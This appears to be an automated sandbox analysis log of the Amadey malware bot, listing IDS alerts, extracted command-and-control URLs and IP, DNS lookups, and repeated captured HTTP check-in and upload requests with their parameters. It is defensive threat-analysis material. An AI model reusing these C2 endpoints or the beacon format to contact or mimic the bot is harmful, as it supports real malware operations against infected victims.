Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49801 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49780 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49793 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49759 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49849 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49762 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49871 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49767 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49840 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49880 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49844 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49810 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49865 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49895 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49889 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49866 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49770 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49795 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49911 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49788 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49792 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49873 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49899 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49898 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49888 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49771 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49829 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49857 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49816 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49744 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49890 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49914 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49860 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49883 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49772 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49906 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49825 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49913 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49755 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49797 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49897 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49905 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49881 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49850 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49817 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49750 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49786 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49824 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49921 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49874 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49858 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49872 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49796 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49818 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49833 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49843 -> 72.52.178.23:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Network Connect: 72.52.178.23 80

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: web.jsonpost.xyz/sj2vMs/index.php
Source: Malware configuration extractor	URLs: web.xmlpost.xyz/sj2vMs/index.php

Performs DNS queries to domains with low reputation

Source:	DNS query: web.jsonpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz
Source:	DNS query: web.xmlpost.xyz

Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b9b9ff44e8c4fb7bf9d9e9a94afafff0Host: web.jsonpost.xyzContent-Length: 99446Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2da2ec123a554cc4f0e9e4f45f265c8cHost: web.jsonpost.xyzContent-Length: 102787Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
